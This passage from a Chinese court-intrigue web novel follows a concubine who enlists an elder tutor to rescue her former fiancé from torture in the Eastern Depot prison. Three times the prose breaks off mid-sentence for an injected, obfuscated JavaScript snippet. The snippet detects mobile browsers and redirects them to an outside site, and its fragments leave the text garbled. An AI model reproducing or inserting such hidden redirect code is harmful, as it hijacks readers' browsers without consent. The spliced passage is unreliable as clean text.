众人散后,乔燕也告退,文景帝没让起身,俯视着她的头顶,冷不防地道:“刚刚那番话倒是让朕刮目相看。” 董玉莲奉旨在宫外做差事,殿内只剩他们两个人,乔燕胆子一时大了起来,柔声开口:“司礼监想借刀杀人,内阁一心作保,争来争去,谁都没有站在您的立场上想一想。” 文景帝被说中心事,罕见的升起一股熨帖,忍不住说了句心里话:“朕最恨党争。又怕他们不争。” 满朝上下,最后竟是这个刚入宫的小姑娘看到了他的为难。 想到这里,文景帝有意给她多一些脸面,道:“随朕去清心殿,朕召了林太傅下棋,董大伴不在,就由你近前服侍。” 清心殿在洗心殿的北边,面阔七间,是文景帝起居之所。 文景帝召林太傅下棋,一下就下到了晌午,直到尚食局送来膳食,林太傅输了半子,方才告退。文景帝则顺势留乔燕用膳。 殿外,一上午没见人影的董玉莲姗姗来迟。 月台上,小太监掏出汗巾,殷勤地擦去他额头的汗。 “老祖宗怎么这个时辰才回来,圣上念了您一上午呢。” 董玉莲没有说话,闭着眼平复气息,这一路虽多乘轿子,但酷暑当头,他还是有些累到了。 跟着回来的秉笔太监胡襄小声抱怨:“哎哟,快别说了,圣上要的青词哪有那么好写,自冯忱去后,满朝也就剩吏部李侍郎的笔墨尚能得圣上青眼,但那位的性子……董爷等了一早上,受了好大的威风。” “行了,都是为圣上做事,没得乱说。”董玉莲不轻不重地斥了句,用袖珍香炉将身上异味熏去,方才踏入殿门。 文景帝和乔燕已经坐在了饭桌旁。看到乔燕,董玉莲脚步微顿,显是有些诧异,随即躬着身走到文景帝身边。 “今儿乔娘娘也在,奴婢伺候两位主子吃饭。” “这些事有下人做,不必你来,”文景帝显然有更挂心的东西,“青词呢?” “这儿呢,奴婢本想着等您吃完再给您过目。” 董玉莲伸手入袖,取出寸长的木盒,打开后里面有一方叠得整齐的白绢。 白娟上写满密密麻麻的小字,文景帝看过,脸色淡淡的。熟知他的都懂了,这是不满意。 文景帝随手丢给了乔燕。 “朕瞧你内慧伶俐,来,瞧瞧这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996282|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绢面的小字是一篇文章,初初一眼只能看出是骈俪体,对仗工整,辞藻华丽,多用神鬼志异作典故,晦涩难懂,深奥非常。 乔燕看得头昏脑涨。 这便是董玉莲进门前,身边的内侍抱怨的那篇“青词”。 青词乃祭告上天之文,是写给神仙看的,本没许多讲究,不过文景帝眼光十分挑剔,满朝文官,能让他满意的人屈指可数,其中翘楚者便是已经被斩首的冯忱。 “如何?” 乔燕放下白绢,斟酌着怎么开口才能既不显得谄媚,也不过于冒犯。 好在文景帝心里已有定论,不等她评价就说道:“朕瞧着,远不如冯忱去年写的那篇,这样华而不实的东西,要是真烧给道君看,岂不是对道君的大不敬。” 青词本就是华而不实的文章。 心中这样想,乔燕不敢真说出来,只道:“圣上广纳天下有学之士,自然不乏可以写好青词之人。” 谁想文景帝反而眉头一蹙:“满朝文臣尽是酒囊饭桶,骂人时一套一套,锦言妙句层出不穷,等要认真作文章了,反而憋不出一个子儿。” 文景帝显然还介怀着今日的那篇劾文。 说着,他突发奇想:“你们乔家文墨传家,能人辈出,不说别人,乔湛以庶吉士入翰林,想必是为学好手,不知能不能写来这青词?” 乔燕心里一紧,乔二郎为学如何,她还是清楚的,确是年轻人里的翘楚,却非骈俪能人。 这其实并不公平,当朝文章多为“制义”,即讲究“裁断适宜”,从四书五经之中选题,虽也讲究排比对偶,然行文严谨,逻辑清晰。而青词则相反,写得越玄乎越好。所以能写好时文的人大多不能写好青词。 说到骈俪,她倒是想起一人。 几乎是快过脑子,乔燕听到自己脱口而出:“妾知当朝有一人极善骈文……” 待要说名字时,她才反应过来,不仅声音戛然而止,背后也惊出了一身冷汗。 文景帝已感兴趣地出声:“何人?” “圣上恕罪!”乔燕双手搭在腿上,脸色微白,有少许失态:“妾方才只想到此人曾作的文章,却忘了他如今戴罪在身,不敢说出来惹您不快。” 文景帝放下了筷子:“你说的是冯忱的那个孙子吧?冯矩。” 一想到冯忱这个孙子,文景帝就想到乔燕曾与其有过婚约,瞥了她一眼。 这个冯矩,听说为了活下来,拜了董玉莲的门头。 私心里,文景帝其实看不起冯矩,不咸不淡地道:“朕记得他的骈文写得确实好,那篇广为流传的《游嵩山赋》朕也读过,字如锦绣,志华日月,当朝无人能出其左右,跟他祖父相比可谓是青出于蓝而胜于蓝。董大伴,你觉得怎么样?” 这样问,便是有些意动。董玉莲八风不动,顺应帝心说道:“不妨让他试试,冯忱极善此道,他的孙儿想必也可以。” 文景帝“嗯”了声:“让他写一篇看看,明天,不,今夜就给朕。” 董玉莲面露为难:“今夜恐怕……” “怎么?” “冯家之案的脏银至今未有下落,下面的奴婢破案心切,拿了他入狱审问,现下恐怕还在诏狱里。” 冯矩进了诏狱已有六七日,董玉莲昨夜才去看过,几乎没个人形,也不知还能不能提起笔。 乔燕第一次听到这个消息,不由一惊,好不容易才遏制住抬头望去的举动。 文景帝皱眉也不知想了些什么,问道:“手断了吗?” “没有。” 画押的手,怎么都不能断的。 “手没断,怎么就不能写了,不必放他出来,你们破你们的案,送副纸墨进去,写好了拿给朕看就是。” 文景帝一锤定音,这青词便怎么都要今夜写好了。 再提起筷子,菜已经冷了,乔燕勉强陪着吃了几口饭,忍到文景帝落筷,才终于结束折磨。 离开洗心殿,步下玉阶,内侍去准备步舆,乔燕魂不守舍地领着宜婵站在避风的象眼旁,等了一会儿,有人从踏跺而下,慢慢行到她跟前。 “董公公?” 董玉莲手上捻着一串白玉菩提珠,看了宜婵一眼,乔燕提了下唇角,识趣地道:“你去一旁等着。” 看着宜婵走到十数步开外,乔燕这才将目光重新落回董玉莲身上,微微垂着眼,看着他胸前神气的麒麟补子,做足了恭敬的姿态。 “公公有什么事但请直言。” 7. 惊叹 董玉莲脸上还带着惯常的笑:“只是突然想起,宫里不比宫外,总有下跪的时候。乔娘娘细皮嫩肉,膝盖恐怕受不住,奴婢那儿有些化瘀的药方,回头让人送给您以备不急之需。” 今天晨议跪了很久,乔燕的膝盖一直在作疼。 乔燕隐约感受到他的意图,一瞬间,心里涌上被蔑视的怒意,语调也生硬了起来:“多谢公公好意。” “奴婢那些药方,是早年不受宠的时候罚跪,去太医院托人讨来的,后来奴婢伺候圣上伺候的好了,一步步做到东厂提督的位置,没人再让奴婢跪过,这药自然就没用了,如今赠给娘娘,也算物尽其用。” 乔燕听出了他用身份压下来的警告之意。 这时候她反而镇定了下来,弯起嘴角,轻柔地笑了笑,一派客气。 “掌印说的是,我如今在宫里谁都仰仗不了,只能凭圣上宠爱立足,以后怕还有仰仗掌印的地方,还请掌印多有照顾。” 入宫前,乔燕怎么也想不到,有一日竟会这样舍去尊严地说话,但只有站在这个地方,到了这个时候才知道,一切都是水到渠成。 董玉莲笑道:“乔娘娘这话便严重了,您如今是圣上身边顶亲近的人儿,奴婢怎么敢跟您比。奴婢一心为圣上办事,为了冯家脏银一事,已经几日没合过眼,如今眼见快有个结果了,圣上这里突然横插个差事,您说奴婢要怎么办呢?如果继续不给好脸色,他写不出青词,是奴婢的不是,如果给好脸色,那先前的审问岂不是都白费了。” 乔燕咬了下舌尖,再开口时,几乎算低声下气。 “公公说的我都明白了,这事是我做的不地道,误了东厂的差事,回头就算他写不出来,也都是我考虑不周的过错。” 到底是不经事的小姑娘,稍微一吓便漏了怯。她既服软,董玉莲也没有继续敲打,缓了口气说道:“娘娘这话严重了,该背的错,东厂自然不会推到外面去,不过娘娘对圣上一片诚心,奴婢今儿算见到了。” 乔燕心里陡然升起一股荒唐感。 坐在高位太久,握着权势太久,是不是就会失去敬畏? “公公的话我都记着了。” 步舆这时被人抬了来,看见这里的景象,为免扰到他们说话,抬舆的内侍就没近前来。 宫里从来不缺有眼力见的人。 董玉莲已经要走了,想到圣上对乔家的态度和期许,还是加了一句:“娘娘,奴婢说这些您可能觉得冒犯,但都是奴婢的肺腑之言。冯家已经没了,冯矩苟活至今,流着的还是冯家的血,要说他不恨吗?谁都觉得不可能。但他能恨谁呢,东厂也不过是听令行事,他还能恨谁?圣上看到他,心里不会怕吗?娘娘为了乔家,也要想明白才是。” 乔燕这一天身心俱疲,等回到住所,沾枕即睡,醒来时已至月上中天。 屋中烛火已熄,唯有靠窗的赤漆多宝阁上的香龛里仍有一点猩红明灭。 也是巧,宜婵恰好这时掌灯掀帘进屋,对上她的眼睛,方才松一口气。 “娘娘醒了。” 乔燕心里恹恹,想一个人待着,就道:“不必点灯,我不想动,你回去睡吧。” 说着,才问道一股淡淡的药味,不由问:“怎么有药味?” 宜婵没有听她的,走到灯架前,揭开玻璃灯罩,引燃里头的蜡烛,一边解释:“您今儿从殿里出来走路的姿势就不太对,奴婢心里担心,趁您睡觉擅作主张看了下您的膝盖,青了一片。思嘉那丫头会按乔,奴婢就让她用药揉了揉,不然若一直淤堵着,明早怕下不了地。” “药是哪儿来的?” 宜婵知道她想问什么,柔声答道:“小董公公送来一盒化瘀的药膏,奴婢看那药太金贵,以后说不定还有急用的时候,就收了起来,给您涂的是我们府里带来的。” 董玉莲送来的药,乔燕用着确实膈应,幸好宜婵明白她的心思。 “那瓶药拿出来,放在床头多宝阁上,我要每天看见。” 宜婵一怔,很快应下,没有多问。 乔燕又问:“什么时辰了?” “已经过了亥时,奴婢今夜当值,本已在外间睡下,不想被清心殿那边的人喊醒。” 说着,递上一个方方正正的木制锦盒。 “那边的公公送来这个,传口谕说:奉圣上命,请娘娘敬览,稍后复还圣前。奴婢想着这么晚送来的想必是要紧物,正要喊您看看。” 乔燕一怔,伸手,打开了木盒。 盒中静卧一张青藤纸。 青词又名绿章,便是源于这青藤纸。如今既已用朱笔誊抄于青藤纸上,必是过了圣眼。能让文景帝大半夜特意叫醒她也要看的文章,肯定是令人拍案叫绝的佳作。 想到这里,乔燕由衷地替冯矩松了一口气,沉下心神,读着这篇敬献神仙的文章。 这篇文章玄然华彩,飘然欲仙,更令人惊叹的是,在遭受这样的苦难后,他的笔下却不见丝毫神伤。透过这薄薄的一张纸,乔燕几乎可以想见,也许曾有一缕斜阳婉照,游鸿远吟,不见天日的一墙之隔,冯矩坐在肮脏朽烂的狱中,落笔成章。 身困囹圄,心游万仞。 那一抔不请自来的惊叹,逐渐在心海沉寂,缠绕成更为悱恻的东西。 董玉莲今天的话已经说的很明白,他不相信冯矩,如今冯家已经没了,不会留这个后患□□景帝想必是一样的斩草除根的心思。 这次冯矩进诏狱,他们就没想他活着出来。 她要做些什么,哪怕并没有用,但总好过在这里白白等着他折于人世。 想到这里,乔燕合上锦盒,撑着床沿便欲起身。 宜婵连忙扶住她。 “您要做什么?” “圣上还在等着复命,我去一趟。” 宜婵不解:“这个时辰圣上必然已经睡下,将东西交还给清心殿的人便是,您膝伤未好,何必多跑一趟。” 乔燕十分坚持:“事关圣上,自然多多上心。” 宜婵却还是不动,握住她胳膊的手指收紧,“娘娘,”她压低声音,有些焦急,“这是冯二郎所写,圣上深夜送来,未尝没有试探的意思……您……” “放心,此去乃是复命,什么能说什么不能说,我心里有数,不会有事。” 宜婵不再多言,帮她收拾仪容。 很快收拾完毕,推门而出,见得庭中立着一高一矮二个太监,其中一个还是熟人——那个常来接乔燕、笑起来有酒窝的小太监。 乔燕上前一步。宜婵目光落在自家主子的背影上,眼底有几分担忧和凝重。 乔燕和清心殿来的太监寒暄完,说明来意,太监便伸手一引,让她走在了前头。 没多久抵达清心殿,大门前,宜婵递上手里的锦盒,为主子解开斗篷,有些忧心:“娘娘……” 乔燕安抚地拍了拍她的手背,没说什么,跟着通报的太监进了里间。 文景帝夜间随问天观的道士打坐修炼,结束回到清心殿已是亥时,本该入睡,但想起白天叮嘱下去的事,心头惦记,于是派人去东厂问问情况。这么一来一去,等拿回青词已经到了亥时末,但文景帝心系于此,忍着困意读完。这一读不要紧,惊叹之余困意全消,甚至忍不住想跟人分享。 西苑的夜间,能看得懂的也只有乔燕,于是文景帝让人大半夜送去乔燕住的宫殿。 乔燕进门的时候,文景帝还精神着,见到她便问:“这份青词如何?” 乔燕行礼行到一半就被文景帝抬手止住,垂首答道:“精彩绝伦。有冯矩在,以后您都不用愁了。” 文景帝笑意微敛。 这“以后”两个字,刺痛了文景帝敏感的神经,打量良久,淡淡地问:“你觉得,冯矩这个人,我‘以后’能用吗?” 乔燕心里一惊,知道自己踩到了那条线,纵使心里再不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996283|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘,也不能说了。 “事关用吏,妾身不过一妇人,哪敢置喙,自然由您决断。” 文景帝审视地看着她,见她果真没有要说的,眼里的疑色才渐渐消失,但一时也没了说话的兴致。 “我困了,你回去吧。” “是。” 乔燕叩首,却行而出,等出了大门,才发觉背后出了一层冷汗,经夜风一吹,不由打了个寒颤,抓住宜婵递来的手。 乔燕入殿的这段时间里,宜婵的心一直吊着,此时终于能松口气。 宜婵借着围斗篷的动作,低低地道:“来时您的神色不太对,奴婢真是越想越怕。” 乔燕勉强一笑:“怕什么,我有分寸,总不会引火上身。” “奴婢还真怕您一时糊涂。现在看,您和从前真是大不相同了,倒是奴婢自己还没能适应这里。” “人总要去就环境,但这样的改变,未必是好事。”乔燕一语带过,领着宜婵走到门边,看到那个眼熟的小太监站在外面,轻声问:“这个公公叫什么?总在洗心殿见到,却一直没有机会说上话。” “金春山,和司礼监的胡秉笔是老乡,因着年纪小,下头都喊他小金公公。” 说话间,外面听到了动静,金春山看过来,露出个讨喜的笑:“娘娘这就回了吗,奴婢让人备好了步舆,就等在踏跺下面。” 乔燕客气地道:“多谢。” 乘步舆回了宫殿,乔燕在宜婵的伺候下脱去外衣,躺上床。 四下没有旁人。宜婵掖着被角,冷不防道:“娘娘要做什么,都要以自己为重。” 乔燕闭上眼,“我能做什么。” “奴婢也不知道,只是奴婢能看出来,您心里憋着一口气,没想放弃,”宜婵跪在脚踏上,“娘娘,如今您心里透亮,奴婢本不该多嘴。但奴婢想了一路,这些话还是要说。 自入宫后您心里一直不算太痛快,如今难得有件想做的事,奴婢看着也高兴。奴婢不拦您,只是希望您在火塘外拉人可以,自己千万别趟进火里,不管做什么,您都先想一想,入宫吃下的这么多苦,值不值。” 乔燕沉默不语地看着她,伸出手,眼睛有些湿润,宜婵怔了片刻,将手搭上去,纤长的手指立马握紧了。 “宜婵,我……”这一句像忍了很久,带着止不住的颤抖,“我心里难受。他又被下了诏狱,圣上要杀他。我知道如今既然入宫,前尘总总当一刀两断……可有些感情实在无法控制,一想到他就要死去,我就……好像也死去了一样。” 每月初三、十三、廿三开经筵,大儒集于明德殿为圣上讲学。 七月十三,是逢经筵。 乔燕站在文景帝身边磨墨洗笔,殿内人员早对她睁一只眼闭一只眼,只当她是个伺候皇帝的奴婢。 及至经筵结束,太傅林元海领头朝外走。 过了成仪门,是一条冗长的宫道,两侧高耸的宫墙无一遮挡,这时,身后忽有人喊:“林太傅!” 林元海难掩讶异,迟疑着站定转身。 “乔娘娘?” “林太傅,”乔燕走近,福了一福,“您等会去翰林院能否帮我带封家书给我二哥。” 同行至此的同僚还有公务在身,见状纷纷和林元海拱手告辞。 林元海送别诸人,面向乔燕,眉心不易察觉地轻微一蹙,问道:“圣上知道吗?” “自然知道。”乔燕从琵琶袖里取出一封没有封漆的书信,递向前。 “我会帮娘娘带到。” “多谢太傅。” 林元海接过,收进袖袋里,看了眼身后走远的同僚们,说道:“娘娘还有什么话,一同说了吧。” 林元海宦海沉浮四十余载,何等老辣,乔燕知道自己的目的瞒不过他。 想到自己即将要说的事,她的心脏骤然狂跳,手脚发麻。她深吸一口气,压低声音:“我想请您一件事。” 8. 求助 “我想请您救冯矩。” “这……” 林元海先是一怔,很快失笑,看她像在看一个异想天开的小姑娘。 “娘娘可知,冯家贪墨的脏银一共多少?整整二百万白银,去年兵部在福建水师上的预算也不过这么些,他们一家就贪掉了一整支水师一年的开销,这个情可不好求。” 乔燕与他对视着,这个时候她反倒冷静下来,语出惊人:“谁都知道,这笔钱,冯家是拿不出来的,还把冯矩抓起来,无非是要他死。他本从这个案子里捡回一命,为何圣上还坚持要他的人头?圣上要斩草除根!什么样的情况才要斩草除根?除非冯家的罪名是欲加之罪,圣上心虚,才不敢留活口。” 她这话真是百无禁忌,林元海吓了一跳,情不自禁地收了脸上的笑,再不敢把她当成小姑娘,“娘娘知道自己在说什么吗?” “我只在您面前说,”乔燕无畏地盯着他,“这件事里,只有您有本事,将他摘出去。” “我可没有这个本事。” “您有……只要让他认罪,就有活的希望。” 林元海挑起眉头:“娘娘不妨说的更透彻些。” “冯家之事究竟如何,我们心里都清楚,甚至民间物议更多,这样迫害忠良的事,圣上心里未尝不怕。” “但如果冯矩认下这个罪,坐实冯家失德之事,就可以洗清圣上的声誉,圣上留他一条命,反而可以彰显仁德。并且,”乔燕一顿,换了一口气,“眼见快到雨季,皇陵的修葺刻不容缓,却逢国库赤字,圣上才追这么紧。冯家认罪,户部的账就能平了,账一平,圣上就能开口讨这笔脏银,追来追去,有些人只能把这笔钱拿出来。圣上满意了,真正贪下这笔钱的人也能保住性命,皆大欢喜。到时候,您想保下冯矩,不过是一句话的事。” 林元海这回没有立即开口否认,似在咀嚼她的发言,又似在估量着什么,许久后才笑了起来:“娘娘说的有板有眼,为何不自己去圣上面前陈情。” 乔燕沉默,心里泛起苦涩,她何尝没有试过,正是试过,才更明白。 “太傅知道我和冯矩曾有婚约,我是最不能开这个口的人。” “那娘娘,你可曾想过冯矩他会怎么想,”林太傅叹了口气,语气比一开始要温和许多,“冯忱在诏狱里受了百般刑罚,至死都没认罪,虽死,却也在人们心底留下个清白名声。冯矩若替冯家认下这个罪,你要他以后的日子怎么过?他日去九泉之下怎么面对至亲?他现在已经不好过了,你真要逼他走一条绝路吗?” 静悄悄的宫道里,连一声鸟鸣都听不到。 庭风扫过,鼓起乔燕宽大的琵琶袖,她低头看去,抬手压了一压,苦笑:“那就是他的事了,我能做的都做了,其他的也管不到,他如果死也不肯认……那我就认了。我只是想让他多一个选择,他可以自己选择死,而不是被人逼着死。” 林太傅和她一起静了下去,许久,才道:“最后一个问题,我为何要帮你?” “不是帮我,是帮他。” 乔燕终于伸出一直捂在袖中的右手,露出掌心叠着的纸,因她捏在掌中许久,已经有些汗湿了。 “这是他在狱中写的青词,工笔见人心,您读一读……出事前,冯矩在翰林院担任修撰一职,随您编纂《齐志》,他为人如何,您比任何人都要了解,太傅这些年秉持中庸之道混迹朝堂,明里暗里不知庇佑了多少年轻志士,他值不值得您救,您心里有答案。” 林元海垂睫看着那片纸,没有接:“这是娘娘默下的吧?原本的绿章圣上给我看过。其实没有娘娘今日的话,我也会救他,只是成不成功还需圣上成全。他……唉——娘娘的话我会转达给他。” 林元海看着她平和的面容,心里生出些许可怜。 “乔娘娘。” “太傅请讲。” “您有一言说错了。圣上不不需要谁为他洗清声誉,圣上永远是清白的,不论做什么都有他的道理。” “是,”乔燕一怔,随即反应过来,“太傅指正的是,我以后不会再说这样的话。” 一日后。东厂诏狱,董玉莲放下烧得通红的烙铁,转过身,在奴婢端来的铜盆里慢慢地净手。 “你是不是以为,青词写得让圣上满意了,就能活命。” 屋子里弥漫着皮肉烧焦的味道。冯矩双手被铁链锁在十字状的刑架上,点在地上的脚尖不住打颤,放缓声音,尽量吐字清晰:“我没有这么想过。” 董玉莲哂笑,正要说什么,随行的太监走来,附耳低语:“林太傅持圣谕来了。” 董玉莲一顿,神情淡了下去:“领他进来。” 很快,林元海在厂役的带领下走进这座地狱般的牢房。通道尽头辟出一间屋子,墙上挂满各种血淋淋的刑具,董玉莲坐在圈椅上,身上穿着御赐的蟒服,尚衣局的刺绣精美华贵,与周遭一切格格不入。 “林太傅。”董玉莲站起身拱手行礼。 林元海亦拱手,尽管立场不同,这二人无论何时见面,总是这样客客气气,一团和气。 “董公公,今日小廷议,户部说起开销超支的事,到年底几个月的军饷难凑出来,还有冬至的祭天、天寿山的皇陵,来去都要银子,圣上就着我来问问,冯家贪的脏银查出来没有。” 董玉莲叹了一口气:“冯家的墙都砸了,也没抄到什么,冯家还剩的这一个,嘴太硬,什么都问不出来。” “董公公,今儿是几号了?” “七月十四,怎么了?” “钦天监所定今年天时,九月便是雨季,皇陵的修葺少说也要月余的工夫,你却在这跟一个半死不活的人死磕,圣上若是知道,怎么也要治你一个无能之罪。” 见得董玉莲神色变了,林元海话音一转,说道:“圣上他老人家知道你为这件事操碎了心,没有怪罪。今日开廷议,两位阁老和六部堂官都在,圣上的意思,把人提到堂上,你也去,我们来个会审,大家集思广益,说不定能找到银子的线索。” “现在就要提走?” “是,圣上口谕在此。” 董玉莲有些迟疑:“你也知道,我们只求结果,行事难免有些激进,他现在这副模样……” “圣意谁敢违,只要有一口气,走不了,抬也要抬去洗心殿。只是他这样,还得稍微收拾,免得吓到圣上。” 话都到这个份上,董玉莲只得点了头。 冯矩被一桶冷水泼醒,有人掰开他的嘴,灌下一碗续命的猛药。 他被人拖着手上的铁链,浑浑噩噩走到街上,阳光刺眼,药效上来,人才清醒不少。 “醒了?” 站在身旁的竟是林元海,冯矩怔怔看着这个曾经的顶头上司,许久都没反应过来。 林元海微不可察地叹了口气:“我的马车就停在前面,你随我上车坐一会儿。” 冯矩摇了摇头,哑着嗓子道:“我,我是戴罪之人,不能拖累您。” “不碍事,这点小事还拖累不到我。” 林元海的态度不容反驳,冯矩没有继续矫情,随他上了马车。 马车慢慢地走了起来。 林元海审视着眼前的年轻人。 他身上的中衣是方才离开诏狱时,为了不在圣上面前失仪,董玉莲才吩咐人给他穿的。但在那之前林元海见过衣服下的躯体,伤痕累累,几乎没有一块完好的皮肉。 东厂诏狱,冯忱那样硬骨头的人,只三天就没了,冯矩竟在里面坚持了足足十天。 与从前在翰林院见面时相比,冯矩大变了模样,从前的锋芒消失不见,那一身宁折不弯的清骨好像也没了。 但有些刻在骨子里的东西是不会变的。 林元海没有问他的经历,反是平静地说起了自己的事:“曾经我最爱的学生死劾董玉莲,车裂于菜市口,我连为他收尸都不曾,他的妻子在闹市中骂我的时候,我送了当季最新鲜的茶叶给董玉莲,在董府陪他喝茶。” 冯矩眼里溢出痛苦,沉默地看着他。 这一刻,林元海竟想起了乔燕。 这样南辕北辙的两个人,在看向他时,眼里的绝望如此相似。 他问了一个问题:“你可知冯家为何而亡?” 冯矩在酷刑下嘶喊了十天,嗓子哑的不像话。 “祖父担任内阁首辅,他老人家有自己的抱负,时常辩驳圣意,弹劾厂卫,早引得圣上不满,董玉莲假借圣心满足私欲,蓄意谋害。” 林元海满意于他的敏锐:“不错,人们只看得见相权与宦权在对抗,却看不到朝堂上最大的势力——” 他在掌心写下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996284|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个“皇”字。 “如今这位偏宠权宦,这首辅一职,可不好当。” 皇帝和内阁之间的纠葛源来已久。 开朝以来,理学盛行,以内阁为首的文官集团,牢牢把持着朝政,看在他们真将国家治理得不错的份上,前面几任皇帝都捏着鼻子过了。 但文景帝不同,他性情较为刚愎,好面子,最不喜欢的便是有人跟他唱反调,于是皇权和文臣之间的矛盾就此凸显出来。重用宦官,制衡内阁,说到底不过是皇帝在和文官争权而已。只是文官在朝经营百年,盘根错节,树大根深,岂是一任皇帝能根除的。 流的血越多,矛盾越深。近来内阁势弱,一个个却还硬着骨头往前撞。冯忱身死,他的学生却遍布朝野和民间,甚至有书生以其为志,歌颂他的慷慨与贞节,这棵掌握着大齐命脉的大树只是断了一截枝干,假以时日,仍能生出繁茂的枝叶。 有些事,事关气节和理想,却很难说清谁错谁对。 说到这里,林元海忍不住苦笑:“董玉莲仗着圣上信任,如今可谓一手遮天,他所统领的东厂和司礼监沆瀣一气,党同伐异,搅的朝堂如一滩浑水。我一直劝你的祖父,不要再与董玉莲针锋相对,至少不要在明面上争斗,内抱不群,外欲浑迹,伺机而动,方为唯一的胜机。可他腰板太硬,不愿委曲求全。” 冯矩轻道:“他老人家一直宁折不屈。” 所以冯忱的那一跪,至今都让他喘不过气。 “所以他败得很快。” 冯矩终于忍不住了:“您半辈子都在隐忍负重,韬光养晦,也没有等到机会。” 此时此刻,他还有这样攻击性的一面,竟让林元海觉得欣慰。 “你祖父也跟我说过类似的话,他比你直接的多,曾指着我的鼻子骂我:既为宰相,何以不敢言于天子前。” “您也忍住了?” “是,激流勇退并非懦夫,这个道理我花了很久才明白,只要心怀远志,不论以什么方式活下去,终有一天会与他们殊途同归。” 冯矩怔怔地听着,忽而体悟,这些或许就是祖父来不及对他说的话。 他哑着嗓子问:“您跟我说这些……” “想活下去吗?” 冯矩张了张嘴,迟迟给不出答案。 董玉莲要他死,皇帝要他死,等会到了宫里,很多人都想要他死。 他还想活下去吗? 冯矩哑然的时候,林元海一直在观察他,却看不到任何生气,他若心存死志,再多人也拉不上来。 林元海不再迟疑,说道:“本来来个宫人就能提你入宫,我特意请旨来接你,跟你说这些,其实是受人相托,宫里有一个人,很想你活下去。” 冯矩一震,一个名字浮现在心里。 这一瞬间,这个名字似乎带着微弱的热量,撑起了他为数不多的勇气。 “而且,我也有私心。你随我修编《齐志》以来,我便将《巨贾篇》交给了你,如今修注过半,不便假以人手,希望剩下的一半也由你完成。” 林元海语调很平静,正是这样的平静,给了冯矩一丝喘息的机会。 “史者,述往以为来者师,这是一件十分有意义的事,你有大才在身,我希望至少后人提到你,想起的不是那个昙花一现的冯状元,而是你留下的文字。” 冯矩低下了头,许久没有给出回答。 林公心里一颤,他从未在谁身上见过这样的谦卑,忽而便懂了这样的惶惑。 少年状元,文林砥柱,曾经加诸在冯矩身上的赞美,如今却成了钉入他脊梁的一根根锈钉,稍微触及便是锥心刺骨。他表现得再平静顺从,可心里仍旧是恐惧的,不知今后还会受到多少羞辱唾骂。 一片静默中,林公突然抬起手:“子规,低头。” 冯矩不解,却还是听话地低下头。 那只皮肤松弛布满皱纹的手落在了他的头顶。 家道巨变,亲人魂断刑台,这一抚让冯矩几欲落泪。 “我有三诫,你且听好。” “您请讲。” 林公说:“一勿奴颜婢膝,二诫谨守初心,三忌自轻自弃。” 冯矩心头大震,喉咙里好像堵了一团棉花,林公道:“你若做到这三点,我不看轻你,谁也不能看轻你。” 9. 夜会 清晨,洗心殿正殿八扇三交六椀菱花槅扇门大开,阳光倾斜地铺了进来。 殿里的桌案已经被悉数收起,腾出来的空地上站着两列人。 内阁首辅束继文站在左侧上首,次辅温却疾就站在他后边,内阁凋敝,仅剩此二人了。右侧上首的位置空着,其余六部堂官分站两侧。 文景帝身着明黄色的道袍坐在香炉后,左手边站着大太监董玉莲,右手边站着乔燕。 顾及场合,乔燕穿了一件青色通袖袍,身上仅佩了一副玉叶禁步作装饰,看起来素净到不起眼。 很显然,今天的洗心殿,她不是主角,满堂官员也不是主角。 林元海出现在门外,朝内行进两步,于殿中央站定,行了一礼。 “禀圣上,冯矩带到。” 文景帝道:“起身吧,辛苦太傅了。让他进来。” 林元海直起身,站到右边上首空着的位子上。而此刻满屋子的视线已经都朝门口看了过去。 一道瘦高的影子先投了进来,一步一步,影子的主人终于出现在众人的视野里。 为了避免御前失仪,这一路上冯矩略微打理过,头发整齐地用布条束在身后,身上中衣整洁,诏狱里的厂役下手阴毒,全都伤在衣裳遮蔽之处,是以这么看去,除了瘦了许多,看不到其他脏污。 他在门口顿了一顿,才抬起脚,吃力地迈过地袱。 随着他这一动作,脚上铁链哗啦作响,拖拽在地板上,像铁刀刮石头一般刺耳。 乔燕觉得自己的呼吸快停住了,她就这么遥遥看着,那把铁刀宛如刮在她的心间。 冯矩只盯着脚前的一寸地,一步步走到中央,跪倒在地。 “罪人冯矩,叩见圣上。” 文景帝没有让他起身,甚至阖上了眼,对身边的董玉莲道:“还是你问吧。” “是。” 董玉莲转向堂下,喝问:“冯矩,冯家于两浙都转运盐使司贪墨白银二百万两,你可代冯家认罪?!” 这个问题,这十日在东厂诏狱内,董玉莲已经问过无数遍,动用无数刑罚,却都撬不开冯矩的嘴。 此时此刻,董玉莲问出这句话时,心内已经拟好接下来面对圣上责问的自救之辞了。 然而—— “冯家认罪。” 